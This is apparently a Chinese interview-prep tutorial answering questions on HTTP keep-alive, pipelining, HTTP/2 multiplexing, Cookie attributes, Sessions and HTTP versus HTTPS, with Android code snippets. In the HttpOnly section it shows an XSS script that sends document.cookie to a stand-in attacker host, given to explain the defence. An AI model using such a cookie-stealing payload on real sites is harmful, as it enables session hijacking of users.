HTTP、HTTPS、Socket、WebSocket 全解析第二部

5 阅读1小时+

第七章:HTTP 连接管理(7 题)

7.1 HTTP的长连接和短连接的区别是什么?

答案:

HTTP的长连接和短连接的主要区别:

  1. 连接方式

    • 长连接(Keep-Alive):一次TCP连接可以传输多个HTTP请求
    • 短连接:每个HTTP请求都需要建立新的TCP连接
  2. 连接建立

    • 长连接:建立一次连接,复用多次
    • 短连接:每次请求都建立新连接
  3. 性能

    • 长连接:性能好(减少连接建立开销)
    • 短连接:性能差(每次都要建立连接)
  4. 资源消耗

    • 长连接:服务器资源消耗较高(保持连接)
    • 短连接:服务器资源消耗较低(连接关闭)

对比示例:

短连接(HTTP/1.0默认):

请求1: 建立连接 → 请求 → 响应 → 关闭连接
请求2: 建立连接 → 请求 → 响应 → 关闭连接
请求3: 建立连接 → 请求 → 响应 → 关闭连接

长连接(HTTP/1.1默认):

建立连接
请求1 → 响应
请求2 → 响应
请求3 → 响应
关闭连接

对比表:

特性长连接短连接
连接方式复用连接每次新建
性能
资源消耗
HTTP版本HTTP/1.1HTTP/1.0
使用场景频繁请求偶尔请求

Android代码示例:

// HTTP/1.1默认长连接
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Connection: keep-alive(默认)

// 显式设置
conn.setRequestProperty("Connection", "keep-alive");
// 或关闭
conn.setRequestProperty("Connection", "close");

使用场景:

  • 长连接:频繁请求、API调用、WebSocket
  • 短连接:偶尔请求、一次性操作

最佳实践:

  • HTTP/1.1使用长连接(默认)
  • 频繁请求使用长连接
  • 减少连接建立开销

7.2 HTTP/1.0默认使用什么连接?

答案:

HTTP/1.0默认使用短连接(Short Connection)

HTTP/1.0的连接特点:

  1. 默认短连接

    • 每个HTTP请求都需要建立新的TCP连接
    • 请求完成后立即关闭连接
    • 性能较差
  2. 支持长连接

    • 需要显式设置Connection: keep-alive
    • 服务器也需要支持
    • 不是默认行为
  3. 连接流程

    建立TCP连接
    发送HTTP请求
    接收HTTP响应
    关闭TCP连接
    

HTTP/1.0请求示例:

# 请求1
GET /page1.html HTTP/1.0

HTTP/1.0 200 OK
Connection: close

<html>...</html>
# 连接关闭

# 请求2(新连接)
GET /page2.html HTTP/1.0

HTTP/1.0 200 OK
Connection: close

<html>...</html>
# 连接关闭

HTTP/1.0长连接示例:

# 请求1
GET /page1.html HTTP/1.0
Connection: keep-alive

HTTP/1.0 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100

<html>...</html>
# 连接保持

# 请求2(复用连接)
GET /page2.html HTTP/1.0
Connection: keep-alive

HTTP/1.0 200 OK
Connection: keep-alive

<html>...</html>

问题:

  • 每次请求都要建立连接(三次握手)
  • 每次请求都要关闭连接(四次挥手)
  • 开销大,性能差

解决方案:

  • 使用HTTP/1.1(默认长连接)
  • HTTP/1.0显式设置keep-alive
  • 使用连接池

7.3 HTTP/1.1默认使用什么连接?

答案:

HTTP/1.1默认使用长连接(Keep-Alive / Persistent Connection)

HTTP/1.1的连接特点:

  1. 默认长连接

    • 一次TCP连接可以传输多个HTTP请求
    • 请求完成后保持连接
    • 性能好
  2. 连接复用

    • 减少连接建立开销
    • 减少连接关闭开销
    • 提高性能
  3. 连接管理

    • Connection头控制连接
    • Keep-Alive头设置参数
    • 可以显式关闭连接

HTTP/1.1请求示例:

# 请求1
GET /page1.html HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100

<html>...</html>
# 连接保持

# 请求2(复用连接)
GET /page2.html HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Connection: keep-alive

<html>...</html>
# 连接保持

Keep-Alive参数:

Keep-Alive: timeout=5, max=100
  • timeout:空闲连接保持时间(秒)
  • max:最大请求数

Android代码示例:

// HTTP/1.1默认长连接
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
// Connection: keep-alive(默认)

// 读取Keep-Alive
String keepAlive = conn.getHeaderField("Keep-Alive");
// 例如:timeout=5, max=100

优势:

  • 减少连接建立开销
  • 提高性能
  • 减少服务器负载

注意事项:

  • 连接会消耗服务器资源
  • 需要合理设置timeout
  • 及时关闭不需要的连接

7.4 Keep-Alive的作用是什么?

答案:

Keep-Alive用于保持HTTP连接打开,允许复用连接发送多个请求

Keep-Alive的作用:

  1. 保持连接

    • 保持TCP连接打开
    • 允许发送多个HTTP请求
    • 减少连接建立开销
  2. 连接复用

    • 复用同一个TCP连接
    • 发送多个请求
    • 提高性能
  3. 参数设置

    • timeout:空闲连接保持时间
    • max:最大请求数

Keep-Alive格式:

Keep-Alive: timeout=5, max=100

Keep-Alive参数:

  1. timeout(超时时间)

    • 空闲连接保持时间(秒)
    • 超过时间未使用则关闭连接
    • 例如:timeout=5(5秒)
  2. max(最大请求数)

    • 连接的最大请求数
    • 超过数量后关闭连接
    • 例如:max=100(100个请求)

Keep-Alive示例:

# 请求1
GET /page1.html HTTP/1.1
Connection: keep-alive

HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=100

# 连接保持5秒空闲时间,最多100个请求

# 请求2(复用连接,5秒内)
GET /page2.html HTTP/1.1
Connection: keep-alive

HTTP/1.1 200 OK
Connection: keep-alive
Keep-Alive: timeout=5, max=99  # 剩余99个请求

Android代码示例:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();

// HTTP/1.1默认keep-alive
// 读取Keep-Alive参数
String keepAlive = conn.getHeaderField("Keep-Alive");
if (keepAlive != null) {
    // 解析timeout和max
    // 例如:timeout=5, max=100
    Map<String, String> params = parseKeepAlive(keepAlive);
    int timeout = Integer.parseInt(params.get("timeout"));
    int max = Integer.parseInt(params.get("max"));
}

使用场景:

  • HTTP/1.1默认使用
  • 频繁请求的场景
  • API调用
  • 提高性能

注意事项:

  • 合理设置timeout
  • 合理设置max
  • 及时关闭不需要的连接
  • 避免连接泄漏

7.5 如何设置Keep-Alive?

答案:

设置Keep-Alive的方法:

  1. HTTP/1.1(默认)

    GET /page.html HTTP/1.1
    Host: www.example.com
    # Connection: keep-alive(默认)
    
  2. 显式设置(HTTP/1.0)

    GET /page.html HTTP/1.0
    Connection: keep-alive
    
  3. 服务器响应

    HTTP/1.1 200 OK
    Connection: keep-alive
    Keep-Alive: timeout=5, max=100
    

Android代码示例:

HttpURLConnection conn = (HttpURLConnection) url.openConnection();

// HTTP/1.1默认keep-alive,可以显式设置
conn.setRequestProperty("Connection", "keep-alive");

// 或者关闭
conn.setRequestProperty("Connection", "close");

服务器配置(Nginx):

# 设置keepalive_timeout
keepalive_timeout 65;
keepalive_requests 100;

服务器配置(Apache):

# 设置KeepAlive
KeepAlive On
MaxKeepAliveRequests 100
KeepAliveTimeout 5

最佳实践:

  • HTTP/1.1默认使用keep-alive
  • 合理设置timeout(5-60秒)
  • 合理设置max(100-1000)
  • 及时关闭不需要的连接

7.6 HTTP的管道化(Pipelining)是什么?

答案:

HTTP的管道化(Pipelining)是指在同一个TCP连接上,客户端可以发送多个请求而不等待响应

管道化的特点:

  1. 并行请求

    • 客户端可以发送多个请求
    • 不需要等待前一个请求的响应
    • 提高性能
  2. 顺序响应

    • 服务器按顺序处理请求
    • 按顺序返回响应
    • 客户端按顺序接收
  3. HTTP/1.1支持

    • HTTP/1.1支持管道化
    • 但使用较少
    • 实现复杂

管道化示例:

不使用管道化:

请求1 → 响应1 → 请求2 → 响应2 → 请求3 → 响应3

使用管道化:

请求1 ──┐
请求2 ──┼──→ 发送(不等待响应)
请求3 ──┘
         ↓
响应1(按顺序)
响应2
响应3

管道化请求示例:

# 客户端发送(不等待响应)
GET /page1.html HTTP/1.1
GET /page2.html HTTP/1.1
GET /page3.html HTTP/1.1

# 服务器响应(按顺序)
HTTP/1.1 200 OK
Content-Length: 1234

<html>page1</html>

HTTP/1.1 200 OK
Content-Length: 2345

<html>page2</html>

HTTP/1.1 200 OK
Content-Length: 3456

<html>page3</html>

问题:

  1. 队头阻塞(Head-of-line blocking)

    • 如果第一个请求慢,后续请求被阻塞
    • 即使后续请求已经处理完成
    • 必须按顺序返回
  2. 实现复杂

    • 客户端实现复杂
    • 服务器实现复杂
    • 错误处理复杂
  3. 使用较少

    • 大多数浏览器不支持
    • 大多数服务器不支持
    • HTTP/2.0多路复用更好

与HTTP/2.0多路复用的区别:

特性管道化多路复用
HTTP版本HTTP/1.1HTTP/2.0
响应顺序必须按顺序可以乱序
队头阻塞
使用情况很少逐渐普及

Android代码示例:

// HTTP/1.1管道化通常需要手动实现
// 大多数HTTP客户端库不支持管道化
// 建议使用HTTP/2.0多路复用

使用场景:

  • HTTP/1.1优化性能
  • 多个资源请求
  • 减少延迟

注意事项:

  • 实现复杂
  • 队头阻塞问题
  • 使用较少
  • HTTP/2.0是更好的选择

7.7 管道化的优缺点是什么?

答案:

管道化的优缺点:

优点:

  1. 提高性能

    • 减少往返时间(RTT)
    • 提高吞吐量
    • 减少延迟
  2. 减少连接数

    • 可以复用单个连接
    • 减少连接建立开销
    • 减少服务器资源消耗
  3. 并行请求

    • 可以同时发送多个请求
    • 不需要等待响应
    • 提高效率

缺点:

  1. 队头阻塞(Head-of-line blocking)

    • 如果第一个请求慢,后续请求被阻塞
    • 即使后续请求已经处理完成
    • 必须按顺序返回响应
  2. 实现复杂

    • 客户端实现复杂
    • 服务器实现复杂
    • 错误处理复杂
  3. 兼容性问题

    • 某些代理服务器不支持
    • 某些服务器不支持
    • 某些客户端不支持
  4. 使用较少

    • 大多数浏览器不支持
    • 大多数服务器不支持
    • 实际使用很少

队头阻塞示例:

# 客户端发送
请求1(慢) ──┐
请求2(快) ──┼──→ 发送
请求3(快) ──┘

# 服务器处理
请求1:处理中(慢)...
请求2:已完成(等待请求1)
请求3:已完成(等待请求1)

# 响应(必须按顺序)
响应1(慢) ← 阻塞响应2和3
响应2(已准备好,但等待响应1)
响应3(已准备好,但等待响应1和2)

对比表:

特性管道化HTTP/2.0多路复用
性能更好
队头阻塞
实现复杂度
使用情况很少逐渐普及

最佳实践:

  • HTTP/1.1不建议使用管道化
  • 使用HTTP/2.0多路复用
  • 或使用多个连接
  • 或使用连接池

答案:

HTTP/2.0的多路复用(Multiplexing)是指在单个TCP连接上同时传输多个HTTP请求和响应(详见2.14题答案)。

多路复用的特点:

  1. 真正的并行

    • 多个请求和响应可以交错传输
    • 不需要按顺序
    • 解决了队头阻塞问题
  2. 二进制分帧

    • 使用二进制帧
    • 每个帧有流ID
    • 可以交错传输
  3. 流控制

    • 每个流独立控制
    • 不影响其他流
    • 更精细的控制

多路复用示例:

请求1 ──┐
请求2 ──┼──→ 并行传输 ──┼──→ 响应1
请求3 ──┘                ├──→ 响应3(可以先返回)
                         └──→ 响应2

与管道化的区别:

特性管道化多路复用
响应顺序必须按顺序可以乱序
队头阻塞
格式文本二进制
性能更好

优势:

  • 解决队头阻塞问题
  • 真正的并行传输
  • 提高性能
  • 减少连接数

答案:

多路复用和管道化的主要区别(详见7.7和7.8题答案):

  1. 响应顺序

    • 管道化:必须按顺序返回响应
    • 多路复用:可以乱序返回响应
  2. 队头阻塞

    • 管道化:有队头阻塞问题
    • 多路复用:无队头阻塞问题
  3. 格式

    • 管道化:文本格式
    • 多路复用:二进制格式
  4. HTTP版本

    • 管道化:HTTP/1.1
    • 多路复用:HTTP/2.0
  5. 使用情况

    • 管道化:很少使用
    • 多路复用:逐渐普及

对比表:

特性管道化多路复用
HTTP版本HTTP/1.1HTTP/2.0
响应顺序必须按顺序可以乱序
队头阻塞
格式文本二进制
性能更好
使用情况很少逐渐普及

最佳实践:

  • 优先使用HTTP/2.0多路复用
  • HTTP/1.1不建议使用管道化
  • 使用多个连接或连接池

第八章:HTTP Cookie 和 Session(9 题)

8.1 Cookie的特点是什么?

答案:

Cookie的特点:

  1. 客户端存储

    • 存储在客户端(浏览器)
    • 服务器设置Cookie
    • 客户端自动携带
  2. 域名和路径限制

    • 只能被设置Cookie的域名访问
    • 只能被设置Cookie的路径访问
    • 子域名和子路径可以访问
  3. 大小限制

    • 每个Cookie最大4KB
    • 每个域名最多约50个Cookie
    • 总数限制(浏览器不同)
  4. 生命周期

    • 可以设置过期时间
    • 可以设置会话Cookie(关闭浏览器删除)
    • 可以设置持久Cookie
  5. 安全性

    • HttpOnly:JavaScript不可访问
    • Secure:只在HTTPS中发送
    • SameSite:同站策略

Cookie限制:

限制项限制值
单个Cookie大小4KB
每个域名Cookie数约50个
总Cookie数浏览器不同(约300个)

Android代码示例:

CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);

// 读取Cookie
String cookies = cookieManager.getCookie(url);
if (cookies != null) {
    // 使用Cookie
}

// 设置Cookie
cookieManager.setCookie(url, "sessionid=abc123; Path=/");

使用场景:

  • 用户登录状态
  • 会话管理
  • 个性化设置
  • 购物车

注意事项:

  • Cookie大小有限制
  • Cookie数量有限制
  • 敏感信息使用Secure + HttpOnly
  • 不要存储敏感信息

8.2 Cookie的属性有哪些?

答案:

Cookie的属性(详见5.17题答案):

  1. Name和Value:Cookie的名称和值
  2. Domain:Cookie的域名
  3. Path:Cookie的路径
  4. Expires/Max-Age:过期时间
  5. Secure:安全传输
  6. HttpOnly:JavaScript不可访问
  7. SameSite:同站策略

8.3 Cookie的Domain属性是什么?

答案:

Cookie的Domain属性用于指定Cookie的域名范围

Domain属性的作用:

  1. 域名限制

    • 指定Cookie可用的域名
    • 只能被指定域名及其子域名访问
    • 默认是当前域名
  2. 子域名访问

    • .example.com表示所有子域名
    • www.example.com可以访问
    • api.example.com可以访问
  3. 格式

    Domain=.example.com  # 所有子域名
    Domain=example.com   # 当前域名(默认)
    

Domain示例:

  1. 默认Domain(当前域名)

    Set-Cookie: sessionid=abc123
    # Domain默认是当前域名
    # 只能被当前域名访问
    
  2. 指定Domain(所有子域名)

    Set-Cookie: sessionid=abc123; Domain=.example.com
    # 可以被所有子域名访问
    # www.example.com可以访问
    # api.example.com可以访问
    # blog.example.com可以访问
    
  3. 不同域名的Cookie

    # 域名:www.example.com
    Set-Cookie: sessionid=abc123; Domain=www.example.com
    # 只能被www.example.com访问
    
    # 域名:api.example.com
    Set-Cookie: apikey=xyz789; Domain=api.example.com
    # 只能被api.example.com访问
    
    # 域名:example.com
    Set-Cookie: global=123; Domain=.example.com
    # 可以被所有子域名访问
    

Android代码示例:

CookieManager cookieManager = CookieManager.getInstance();

// 设置Cookie(指定Domain)
String cookie = "sessionid=abc123; Domain=.example.com; Path=/";
cookieManager.setCookie("https://www.example.com", cookie);

// 读取Cookie(Domain限制)
String cookies = cookieManager.getCookie("https://api.example.com");
// 如果Domain是.example.com,可以访问

使用场景:

  • 单点登录(SSO)
  • 跨子域名的会话
  • 全局Cookie

注意事项:

  • Domain必须以点(.)开头才能被子域名访问
  • Domain不能设置为其他域名(安全限制)
  • 子域名可以访问父域名的Cookie(如果Domain设置正确)

8.4 Cookie的Path属性是什么?

答案:

Cookie的Path属性用于指定Cookie的路径范围

Path属性的作用:

  1. 路径限制

    • 指定Cookie可用的路径
    • 只能被指定路径及其子路径访问
    • 默认是当前路径
  2. 子路径访问

    • /api表示/api及其所有子路径
    • /api/users可以访问
    • /api/orders可以访问
  3. 格式

    Path=/api      # /api及其子路径
    Path=/         # 所有路径(默认)
    

Path示例:

  1. 默认Path(当前路径)

    Set-Cookie: sessionid=abc123
    # Path默认是当前路径
    # 只能被当前路径访问
    
  2. 指定Path(所有路径)

    Set-Cookie: sessionid=abc123; Path=/
    # 可以被所有路径访问
    # /page可以访问
    # /api可以访问
    # /api/users可以访问
    
  3. 指定Path(特定路径)

    Set-Cookie: apikey=xyz789; Path=/api
    # 只能被/api及其子路径访问
    # /api/users可以访问
    # /api/orders可以访问
    # /page不能访问
    

Android代码示例:

CookieManager cookieManager = CookieManager.getInstance();

// 设置Cookie(指定Path)
String cookie = "sessionid=abc123; Path=/";
cookieManager.setCookie("https://example.com", cookie);

// 设置API Cookie(特定Path)
String apiCookie = "apikey=xyz789; Path=/api";
cookieManager.setCookie("https://example.com/api", apiCookie);

使用场景:

  • 路径隔离
  • API专用Cookie
  • 路径级别的会话

注意事项:

  • Path必须以/开头
  • 子路径可以访问父路径的Cookie
  • 默认Path是当前路径

8.5 Cookie的Expires和Max-Age的区别是什么?

答案:

Cookie的Expires和Max-Age的区别:

  1. 时间格式

    • Expires:绝对时间(GMT时间)
    • Max-Age:相对时间(秒)
  2. HTTP版本

    • Expires:HTTP/1.0
    • Max-Age:HTTP/1.1
  3. 优先级

    • Max-Age:优先级高
    • Expires:优先级低
  4. 兼容性

    • Expires:兼容性好
    • Max-Age:HTTP/1.1+

Expires示例:

Set-Cookie: sessionid=abc123; Expires=Wed, 21 Oct 2024 11:00:00 GMT
# 绝对时间,2024年10月21日11:00:00过期

Max-Age示例:

Set-Cookie: sessionid=abc123; Max-Age=3600
# 相对时间,3600秒(1小时)后过期

对比表:

特性ExpiresMax-Age
时间格式绝对时间相对时间
HTTP版本HTTP/1.0HTTP/1.1
优先级
兼容性HTTP/1.1+
使用场景兼容性现代浏览器

Android代码示例:

// 使用Max-Age
String cookie = "sessionid=abc123; Max-Age=3600; Path=/";
cookieManager.setCookie(url, cookie);

// 使用Expires
SimpleDateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
sdf.setTimeZone(TimeZone.getTimeZone("GMT"));
Date expireDate = new Date(System.currentTimeMillis() + 3600 * 1000);
String expires = sdf.format(expireDate);
String cookie = "sessionid=abc123; Expires=" + expires + "; Path=/";
cookieManager.setCookie(url, cookie);

最佳实践:

  • 优先使用Max-Age(更简单)
  • Expires用于兼容性
  • 两者可以同时设置(Max-Age优先)

8.6 HttpOnly Cookie的作用是什么?

答案:

HttpOnly Cookie用于防止JavaScript访问Cookie,防止XSS攻击

HttpOnly Cookie的作用:

  1. 安全防护

    • JavaScript无法访问Cookie
    • 防止XSS攻击
    • 保护敏感信息
  2. 防止XSS攻击

    • XSS攻击可能窃取Cookie
    • HttpOnly Cookie无法被JavaScript访问
    • 提高安全性
  3. 使用场景

    • 会话Cookie
    • 认证Cookie
    • 敏感信息Cookie

HttpOnly示例:

# 设置HttpOnly Cookie
Set-Cookie: sessionid=abc123; HttpOnly; Path=/

# JavaScript无法访问
document.cookie  // 不包含HttpOnly Cookie

XSS攻击示例:

  1. 没有HttpOnly(不安全)

    // XSS攻击代码
    <script>
      var cookie = document.cookie;
      // 可以获取Cookie
      // 发送到攻击者服务器
      fetch('http://attacker.com/steal?cookie=' + cookie);
    </script>
    
  2. 有HttpOnly(安全)

    // XSS攻击代码
    <script>
      var cookie = document.cookie;
      // HttpOnly Cookie无法获取
      // 只能获取非HttpOnly Cookie
    </script>
    

Android代码示例:

CookieManager cookieManager = CookieManager.getInstance();

// HttpOnly Cookie在Android中需要特殊处理
// Android的CookieManager不支持HttpOnly
// 需要在WebView中使用
WebView webView = new WebView(context);
CookieManager cookieManager = CookieManager.getInstance();
cookieManager.setAcceptCookie(true);
cookieManager.setCookie(url, "sessionid=abc123; HttpOnly; Path=/");

最佳实践:

  • 会话Cookie使用HttpOnly
  • 认证Cookie使用HttpOnly
  • 敏感信息Cookie使用HttpOnly
  • 配合Secure使用(HTTPS)

安全建议:

  • 所有Cookie都应该使用HttpOnly(除非需要JavaScript访问)
  • 配合Secure使用(HTTPS传输)
  • 配合SameSite使用(防止CSRF)

8.7 Secure Cookie的作用是什么?

答案:

Secure Cookie用于只在HTTPS连接中发送Cookie,保护Cookie传输安全

Secure Cookie的作用:

  1. 安全传输

    • 只在HTTPS连接中发送
    • HTTP连接中不发送
    • 保护Cookie不被窃听
  2. 防止中间人攻击

    • 防止Cookie被窃听
    • 防止Cookie被篡改
    • 保护传输安全
  3. 使用场景

    • 敏感信息Cookie
    • 认证Cookie
    • 会话Cookie

Secure示例:

# 设置Secure Cookie
Set-Cookie: sessionid=abc123; Secure; Path=/

# HTTP连接:不发送
GET http://example.com/page HTTP/1.1
Cookie: (不包含Secure Cookie)

# HTTPS连接:发送
GET https://example.com/page HTTP/1.1
Cookie: sessionid=abc123

Android代码示例:

CookieManager cookieManager = CookieManager.getInstance();

// Secure Cookie
String cookie = "sessionid=abc123; Secure; Path=/";
cookieManager.setCookie("https://example.com", cookie);

// HTTP连接不会发送Secure Cookie
// HTTPS连接会发送Secure Cookie

安全建议:

  • 敏感Cookie使用Secure
  • 认证Cookie使用Secure
  • 配合HttpOnly使用
  • 配合SameSite使用

最佳实践:

  • 所有Cookie都应该使用Secure(HTTPS环境)
  • 配合HttpOnly使用(防止XSS)
  • 配合SameSite使用(防止CSRF)

8.8 Session的作用是什么?

答案:

Session用于在服务器端存储会话信息,实现有状态的HTTP通信

Session的作用:

  1. 服务器端存储

    • 会话信息存储在服务器
    • 客户端只存储Session ID
    • 安全性更高
  2. 会话管理

    • 存储用户登录状态
    • 存储用户信息
    • 存储会话数据
  3. 安全性

    • 数据存储在服务器
    • 客户端无法直接访问
    • 相对安全

Session工作原理:

  1. 创建Session

    客户端请求 → 服务器创建Session → 返回Session ID
    
  2. 使用Session

    客户端发送Session ID → 服务器查找Session → 使用会话数据
    
  3. Session存储

    • Session ID通过Cookie传递
    • 会话数据存储在服务器
    • Session ID是唯一标识

Session示例:

# 登录请求
POST /login HTTP/1.1
Content-Type: application/json

{
  "username": "john",
  "password": "123456"
}

# 服务器响应
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=abc123; Path=/; HttpOnly

{
  "success": true
}

# 后续请求
GET /api/profile HTTP/1.1
Cookie: JSESSIONID=abc123

# 服务器查找Session(JSESSIONID=abc123)
# 使用会话数据

Session vs Cookie:

特性SessionCookie
存储位置服务器客户端
存储内容会话数据会话ID
安全性
大小限制4KB
数量限制约50个

Android代码示例:

// Session通常用于Web应用
// Android应用通常使用Token(JWT)
// 但也可以使用Session

HttpURLConnection conn = (HttpURLConnection) url.openConnection();

// 读取Set-Cookie获取Session ID
String setCookie = conn.getHeaderField("Set-Cookie");
if (setCookie != null && setCookie.contains("JSESSIONID")) {
    // 提取Session ID
    String sessionId = extractSessionId(setCookie);
    // 保存Session ID
    saveSessionId(sessionId);
}

// 后续请求携带Session ID
String sessionId = getSessionId();
if (sessionId != null) {
    conn.setRequestProperty("Cookie", "JSESSIONID=" + sessionId);
}

使用场景:

  • Web应用会话管理
  • 用户登录状态
  • 购物车
  • 临时数据存储

注意事项:

  • Session需要服务器存储空间
  • Session ID需要安全传输(Secure Cookie)
  • Session需要过期机制
  • 分布式系统需要共享Session

8.9 Cookie和Session的区别是什么?

答案:

Cookie和Session的主要区别:

  1. 存储位置

    • Cookie:存储在客户端(浏览器)
    • Session:存储在服务器
  2. 存储内容

    • Cookie:存储会话数据或Session ID
    • Session:存储会话数据(客户端只存储Session ID)
  3. 安全性

    • Cookie:安全性较低(客户端存储)
    • Session:安全性较高(服务器存储)
  4. 大小限制

    • Cookie:4KB
    • Session:无限制(服务器限制)
  5. 数量限制

    • Cookie:每个域名约50个
    • Session:无限制
  6. 性能

    • Cookie:每次请求都携带(增加请求大小)
    • Session:只携带Session ID(请求小)
  7. 跨域

    • Cookie:受域名限制
    • Session:不受域名限制(通过Session ID)

对比表:

特性CookieSession
存储位置客户端服务器
存储内容数据或ID数据(客户端只有ID)
安全性
大小限制4KB
数量限制约50个
性能每次携带数据只携带ID
跨域受限制不受限制

使用场景:

  1. Cookie适合

    • 客户端偏好设置
    • 非敏感数据
    • 客户端逻辑
  2. Session适合

    • 用户登录状态
    • 敏感数据
    • 服务器端逻辑

最佳实践:

  • 敏感数据使用Session
  • 非敏感数据可以使用Cookie
  • Session ID使用Secure + HttpOnly Cookie
  • 结合使用(Session存储数据,Cookie存储Session ID)

第二部分:HTTPS 与安全答案

第九章:HTTP 与 HTTPS 对比(15 题)

9.1 HTTP和HTTPS的定义是什么?

答案:

HTTP(HyperText Transfer Protocol):超文本传输协议,是用于在网络上传输超文本的协议。

HTTPS(HyperText Transfer Protocol Secure):超文本传输安全协议,是在HTTP基础上添加了SSL/TLS加密层的安全版本。

HTTP定义:

  • 应用层协议
  • 基于TCP/IP
  • 用于Web通信
  • 明文传输

HTTPS定义:

  • HTTP + SSL/TLS
  • 加密传输
  • 身份验证
  • 数据完整性

对比:

特性HTTPHTTPS
全称HyperText Transfer ProtocolHyperText Transfer Protocol Secure
加密无(明文)有(SSL/TLS)
端口80443
安全性不安全安全
协议基础TCPTCP + SSL/TLS

示例:

HTTP:  http://www.example.com
HTTPS: https://www.example.com

9.2 HTTP和HTTPS的全称是什么?

答案:

  • HTTP:HyperText Transfer Protocol(超文本传输协议)
  • HTTPS:HyperText Transfer Protocol Secure(超文本传输安全协议)

详细说明:

  1. HTTP全称

    • HyperText:超文本
    • Transfer:传输
    • Protocol:协议
    • 超文本传输协议
  2. HTTPS全称

    • HyperText:超文本
    • Transfer:传输
    • Protocol:协议
    • Secure:安全
    • 超文本传输安全协议
  3. 关系

    • HTTPS = HTTP + SSL/TLS
    • HTTPS是HTTP的安全版本
    • HTTPS在HTTP基础上添加加密层

9.3 HTTP和HTTPS的默认端口号是什么?

答案:

  • HTTP:默认端口号 80
  • HTTPS:默认端口号 443

详细说明:

  1. HTTP端口

    • 默认端口:80
    • 可以指定其他端口
    • 例如:http://example.com:8080
  2. HTTPS端口

    • 默认端口:443
    • 可以指定其他端口
    • 例如:https://example.com:8443
  3. URL中的端口

    http://www.example.com        # 默认80端口
    http://www.example.com:80     # 显式指定80端口
    http://www.example.com:8080   # 使用8080端口
    
    https://www.example.com       # 默认443端口
    https://www.example.com:443   # 显式指定443端口
    https://www.example.com:8443  # 使用8443端口
    

Android代码示例:

// HTTP默认端口80
URL httpUrl = new URL("http://www.example.com");
// 实际连接端口:80

// HTTPS默认端口443
URL httpsUrl = new URL("https://www.example.com");
// 实际连接端口:443

// 指定端口
URL customUrl = new URL("http://www.example.com:8080");
// 连接端口:8080

常见端口:

  • HTTP:80
  • HTTPS:443
  • HTTP代理:8080
  • HTTPS代理:8443

9.4 HTTP和HTTPS的协议基础是什么?

答案:

  • HTTP:基于 TCP/IP
  • HTTPS:基于 TCP/IP + SSL/TLS

详细说明:

  1. HTTP协议基础

    • 基于TCP/IP
    • 应用层协议
    • 直接使用TCP连接
    • 无加密层
  2. HTTPS协议基础

    • 基于TCP/IP + SSL/TLS
    • 应用层协议
    • 在TCP之上添加SSL/TLS加密层
    • 有加密层
  3. 协议栈对比

    HTTP协议栈:

    应用层:HTTP
    传输层:TCP
    网络层:IP
    数据链路层:以太网
    物理层:物理介质
    

    HTTPS协议栈:

    应用层:HTTP
    安全层:SSL/TLS
    传输层:TCP
    网络层:IP
    数据链路层:以太网
    物理层:物理介质
    

协议关系:

  • HTTP:HTTP → TCP → IP
  • HTTPS:HTTP → SSL/TLS → TCP → IP

Android代码示例:

// HTTP连接
URL httpUrl = new URL("http://www.example.com");
HttpURLConnection httpConn = (HttpURLConnection) httpUrl.openConnection();
// 直接使用TCP连接,无加密

// HTTPS连接
URL httpsUrl = new URL("https://www.example.com");
HttpsURLConnection httpsConn = (HttpsURLConnection) httpsUrl.openConnection();
// 使用SSL/TLS加密的TCP连接

9.5 HTTP和HTTPS的URL格式有什么区别?

答案:

HTTP和HTTPS的URL格式区别在于协议标识符(scheme)。

URL格式:

协议://主机名:端口/路径?查询参数#片段

HTTP URL格式:

http://www.example.com
http://www.example.com:80
http://www.example.com/path?query=value

HTTPS URL格式:

https://www.example.com
https://www.example.com:443
https://www.example.com/path?query=value

区别:

  1. 协议标识符

    • HTTP:http://
    • HTTPS:https://
  2. 默认端口

    • HTTP:80(可省略)
    • HTTPS:443(可省略)
  3. 其他部分

    • 主机名、路径、查询参数、片段格式相同
    • 区别只在协议部分

URL示例:

// HTTP URL
String httpUrl = "http://www.example.com";
String httpUrlWithPath = "http://www.example.com/api/users?page=1";

// HTTPS URL
String httpsUrl = "https://www.example.com";
String httpsUrlWithPath = "https://www.example.com/api/users?page=1";

// Android代码
URL url1 = new URL("http://www.example.com");
URL url2 = new URL("https://www.example.com");

使用场景:

  • HTTP:内网、开发环境、不敏感数据
  • HTTPS:公网、生产环境、敏感数据

最佳实践:

  • 生产环境使用HTTPS
  • 敏感数据使用HTTPS
  • 遵守HTTPS优先策略(HSTS)

9.6 HTTP和HTTPS的安全性有什么区别?

答案:

HTTP和HTTPS在安全性上的主要区别:

  1. 数据传输

    • HTTP:明文传输,数据可被窃听
    • HTTPS:加密传输,数据不可被窃听
  2. 身份验证

    • HTTP:无身份验证,可能被中间人攻击
    • HTTPS:有身份验证(证书),防止中间人攻击
  3. 数据完整性

    • HTTP:无完整性校验,数据可能被篡改
    • HTTPS:有完整性校验,数据不可被篡改
  4. 安全性等级

    • HTTP:不安全
    • HTTPS:安全

对比表:

安全特性HTTPHTTPS
加密传输无(明文)有(SSL/TLS)
身份验证有(证书)
数据完整性有(MAC)
防止窃听
防止篡改
防止中间人攻击
安全性不安全安全

安全性对比示例:

HTTP(不安全):

客户端 ←→ 明文数据 ←→ 服务器
         ↑
    可能被窃听、篡改

HTTPS(安全):

客户端 ←→ 加密数据 ←→ 服务器
         ↑
    无法窃听、篡改

攻击场景:

  1. HTTP攻击

    • 数据窃听:明文传输,可被截获
    • 数据篡改:无完整性校验,可被修改
    • 中间人攻击:无身份验证,可被冒充
  2. HTTPS防护

    • 数据窃听:加密传输,无法窃听
    • 数据篡改:完整性校验,无法篡改
    • 中间人攻击:证书验证,无法冒充

最佳实践:

  • 生产环境使用HTTPS
  • 敏感数据使用HTTPS
  • 登录、支付等关键操作使用HTTPS
  • 遵守HTTPS优先策略(HSTS)

9.7 HTTP为什么是不安全的?

答案:

HTTP不安全的原因:

  1. 明文传输

    • 数据以明文形式传输
    • 可被网络中的任何节点窃听
